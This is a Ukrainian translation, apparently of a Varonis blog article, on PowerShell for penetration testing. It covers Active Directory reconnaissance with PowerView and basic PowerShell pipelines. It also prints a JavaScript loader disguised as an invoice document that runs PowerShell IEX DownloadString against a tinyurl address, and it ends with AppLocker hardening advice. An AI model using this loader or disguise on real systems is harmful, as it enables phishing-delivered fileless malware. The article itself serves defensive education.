PowerShell в ролі інструменту для пентеста: скрипти та приклади від Varonis

Хакери люблять використовувати PowerShell для запуску «fileless malware» — безтілесних шкідливих програм, які не є традиційними бінарними файлами з компилированным шкідливим кодом, і з цієї причини іноді не можуть бути виявлені антивірусними рішеннями.

PowerShell, звичайно ж, завжди мав цілком нормальне призначення, ніяк спочатку взагалі не пов’язане з тестуванням на проникнення. Ті з вас, хто захоче дізнатися передісторію появи на світ PowerShell, повинні почитати знаменитий Маніфест Монади. Написаний одним з перших розробників, цей маніфест пояснює, навіщо Microsoft знадобився новий мова опису сценаріїв (простіше кажучи, скриптів), який в кінцевому підсумку і перетворився в PowerShell.
Щоб позбавити вас від необхідності переглядати довжелезний 17-сторінковий документ, я вам відкрию головний мотивуючий фактор, що спонукав авторів PowerShell: він повинен був надати системним адміністраторам доступ до об’єктів .Net з командного рядка, дозволивши таким чином автоматизувати робочий процес на рівні системи, а не на рівні глибокого програмування в C# або C++.

Якщо ви хочете отримати реальні докази ефективності PowerShell (далі – PS), запитайте своїх системних адміністраторів, як вони масово додають користувачів в Active Directory або виконують швидку настройку безпеки. Швидше за все, ви дізнаєтеся про рішення на PowerShell. Коротше кажучи: PS — це шикарний спосіб зниження рутини і підвищення продуктивності для адміністраторів.

Навіщо ж використовувати PowerShell для пентестов?

На жаль, те, що так добре підходить в якості потужного інструменту автоматизації для адміністраторів, у кінцевому рахунку виявляється корисним як для хакерів, так і для тестувальників на проникнення.

Припустимо, ІТ-адміністратора було поставлено завдання з’ясувати, хто насправді використовує недостатньо завантажений сервер. З допомогою PowerShell і бібліотеки додаткових функцій PowerView, системний адміністратор може швидко переглядати користувачів, що увійшли на сервер, безнеобходимости бути залогіненним самому на цьому сервері:

Тим не менш, зловмисники, які раніше отримали доступ через фішингову атаку, також зможуть виконати те ж саме, тому що вони можуть використовувати ті ж можливості, перебуваючи в домені Active Directory (далі — ОГОЛОШЕННЯ). І їх діяльність зовсім не обов’язково буде виявлена: ІБ-аналітик, який відстежує використання додатків, може прийти до висновку, що, оскільки «це просто PowerShell, він повинен бути нешкідливим».

Щоб посилити цей приклад ще більше, хакери зможуть навіть отримати всю детальну інформацію про користувачів за допомогою команди Get-NetUser, яка сдампит всі атрибути користувача ОГОЛОШЕННЯ:

На жаль, компанії часом недбало ставляться до атрибутів AD, які вони роблять загальнодоступними для всіх працівників — наприклад, домашній або мобільний телефон, адреса і т. п. До появи PowerShell було набагато складніше зібрати всі ці дані з AD, але це вже давно не так!

Що зловмисники можуть зробити з цією інформацією? Вони можуть легко скористатися способами соціальної інженерії і розробити для цього атаку: можливо, надіславши
електронний лист з достатньою кількістю особового контексту, отриманого з AD-атрибутів, щоб воно виглядало як легітимний запит служби підтримки з проханням «відновити пароль».

До речі, ви можете застосувати контроль ACL і до атрибутів AD, так що є(!) спосіб знизити ризик атак подібного типу. І це один з тих позитивних результатів, які ви можете отримати з власного досвіду з тестування на проникнення.

Короткий курс PowerShell для пентестеров

З допомогою PowerShell зловмисники можуть непомітно збирати внутрішні користувача дані і потім використовувати їх в своїх атаках. Але немає причин, за якими співробітники ІТ або ІБ-служб не можуть освоїти PowerShell в достатній мірі, щоб почати власне тестування і навчитися розуміти образ думок і мотиви хакера.

Перший приємний момент з PowerShell криється в тому, що всі старі скрипти і bat-файли, які ви запускали з командного рядка cmd.exe як і раніше працюють в консолі PowerShell. Вже непогано, чи не правда?

Наступним важливим моментом є те, що на відміну від Linux-подібних оболонок, PowerShell розглядає всі як об’єкт. Навіть вивід команди (задумайтесь тільки) — це теж об’єкт.

Наприклад, введіть команду Get-ChildItem (або команди по-іншому, так команди називаються в світі PS) в консоль, і ви побачите список файлів поточного каталогу:

Кодування за допомогою PowerShell

Припустимо, ви хочете написати сценарій PS, в якому виводяться тільки файли розміром понад 10 МБ — наприклад, щоб швидко перевірити, які файли займають багато місця. Це завдання буде набагато складніше для вирішення у строковому висновку, скажімо, оболонки bash. Однак, в PowerShell висновок будь-якої команди сам по собі є об’єктом з набором атрибутів.

Щоб побачити це, просто передайте висновок GetChildItem в Get-Member, який повідомить вам атрибути PS команду:

Отже, тепер у нас є ідентифікатори для двох цікавлять нас атрибутів: довжина «length» і назву «name», на які ми можемо посилатися програмно. 5 хвилин — політ нормальний.

Щоб впоратися з частою ситуацією, коли об’єкти деколи знаходяться в масивах або колекціях, ми будемо використовувати PS-оператор ForEach для ітерації по масиву.

Щоб зробити речі простіше, псевдонім або альяс “%” означає «ForEach», а “$_«представляє поточний об’єкт.

Виконання команд за допомогою PowerShell

Давайте отримаємо наші два стовпці виведення з команди GetChildItem на основі наших нових знань. Приклад нижче являє собою конвеєр з Get-ChildItem, подає введення оператор ForEach, який виводить тільки значення атрибутів „length“ і „name“:

get-childitem | % {write-host $_.length $_.name -separator "`t 't"}

І ось результат запуску команд:

Щоб закінчити наш шикарний приклад, давайте донастроим наш скрипт, щоб виводити тільки великі файли, скажімо, більше 10МБ. Для цього ми використовуємо фільтр, відомий як команди Where-Object зі зручним псевдонімом »?”. Він має всі звичайні оператори порівняння-gt, -eq, -lt, тощо). Ми вставляємо його в середину конвеєра і наш скрипт тепер виглядає так:

 get-ChildItem | ? {$_.length –gt 10000000 | % {write-host$_.length $_.name -separator "`t 't"}

В якості вправи спробуйте запустити вищезгадану PS-творіння у своєму власному середовищі.

Посібник: Приклад тестування на проникнення на PowerShell

З цим невеликим досвідом роботи в PowerShell ми готові взятися за цілком реальний приклад пентеста. Один з найшвидших способів потрапити в пентестинг — це використовувати PowerShell для приховування корисного навантаження. Ми писали про те, як це зробити тут.

Ідея полягає в тому, щоб заховати наш код PowerShell в стандартний офісний документ із суфіксом .doc. Насправді, файл буде мати розширення .js, і при натисканні активує запуск сценарію Windows для запуску JavaScript, який вже потім запустить вбудований код PowerShell.

Трохи збиває з пантелику, вірно? Але реальні хакери використовують не один, а декілька рівнів вкладеності і обфускации, щоб максимально приховати і заплутати свою атаку.

Підготовка завантажувача і корисного навантаження

Ось як виглядає скрипт:

a=new ActiveXObject('Wscript.Shell');a.Run (powershell -nop -noe -Command IEX (New-Object System.Net.WebClient).DownloadString('https://tinyurl.com/y5nupk4e')",1, 'true');

Ви вставляєте наведений вище код в текстовий файл і його перейменувати його в щось на зразок Счет-фактура.doc.js. Наведений вище JavaScript діє як завантажувач, який запускається за допомогою вбудованих командлетів PowerShell NetWebClient і Invoke-Expression, які самі по собі псевдоніми з “%”.

Метод DownloadString з команди NetWebClient віддалено дістає фактичну корисну навантаження, яка в кінцевому підсумку зробить за нас всю брудну роботу.

Ви можете вставити URL-адреса, що вказує на вашу власну тестову програму. Ну а команди Invoke-Expression приймає на вхід код нашої шкідливого файлу і потім виконує його.

Перевірте це!

В моєму випадку URL-адреса вказує на проект Github, що містить просту команду PS Write-Host, яка виведе на екран нешкідливе, але важливе повідомлення для всього людства. У реальному атаці файл такого сценарію цілком може бути прикріплений до фішингової розсилці, яка заманить нічого не підозрює співробітника в капкан любопытности. І корисне навантаження буде набагато більш руйнівною.

Ви можете спробувати це на своїй власній установці. І якщо все розглянуте вище успішно запрацює, то у вас є ще одне термінове і важливе завдання, яке неодмінно необхідно виконати.

Переваги тестування на проникнення

Це приводить нас до причин, за якими ми робимо тестування на проникнення. Ось три реальні переваги, які першими приходять на розум:

  1. Вивчаючи PowerShell команди як пентестер, ви зрозумієте, як хакери зламують цей чудовий мову сценаріїв наступного покоління. Просто обміркуйте комбінацію методу DownloadString і Invoke-Expression, дозволяючи зловмисникам отримувати віддалений шкідливий код на сайт жертви без необхідності його проміжного збереження.
  2. Ця вправа також підкреслює скритність сучасного хакера. Я показав у наведеному вище прикладі схему атаки, яка не залишає ніяких файлів навколо. Таким чином, ви не можете використовувати стандартні методи на основі сигнатур для надійного виявлення атаки, виконаної за допомогою PowerShell. Банально, у нас немає самої сигнатури шкідливого ПО для порівняння.
  3. Ви, ймовірно, почнете вивчати способи обмеження PowerShell і інших методів на основі сценаріїв. Зрештою, атака починається зі скрипта, тому, якщо компанії ускладнюють запуск скриптів, вони зможуть значно скоротити свій профіль ризику.

Дозвольте мені докладніше спинитися на останньому пункті. Ви, швидше за все, не захочете повністю забороняти PowerShell (або JavaScript), так як це фундаментальна частина системного програмного забезпечення Windows. На щастя, у Microsoft є спосіб вибірково відключати сценарії (і інші виконувані файли) через AppLocker , поліпшену версію старих Політик Обмеження Програмного забезпечення (Software Restriction Policies) в сучасних Групових Політиках (GPO).

Це може здатися неймовірним для технічних фахівців, але більшості користувачів не потрібен PowerShell або інші скриптові мови для виконання своєї повсякденної роботи. Це, звичайно ж, шокує, я знаю! AppLocker, наприклад, можна налаштувати відключення доступу PowerShell для мас, при цьому дозволяючи системним адміністраторам як і раніше виконувати свою важку роботу.

Атаки на основі сценаріїв, в тому числі пов’язані з вкладенням в електронну пошту, розраховують на те, що адміністратори, як правило, надають співробітникам надмірно широкі дозволу на скрипти. А так не повинно бути!

Джерело

Поділитися
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
Реклама

304

Залишити відповідь

Ваша e-mail адреса не оприлюднюватиметься. Обов’язкові поля позначені *

Схожі записи

Почніть набирати текст зверху та натисніть "Enter" для пошуку. Натисніть ESC для відміни.

Повернутись вверх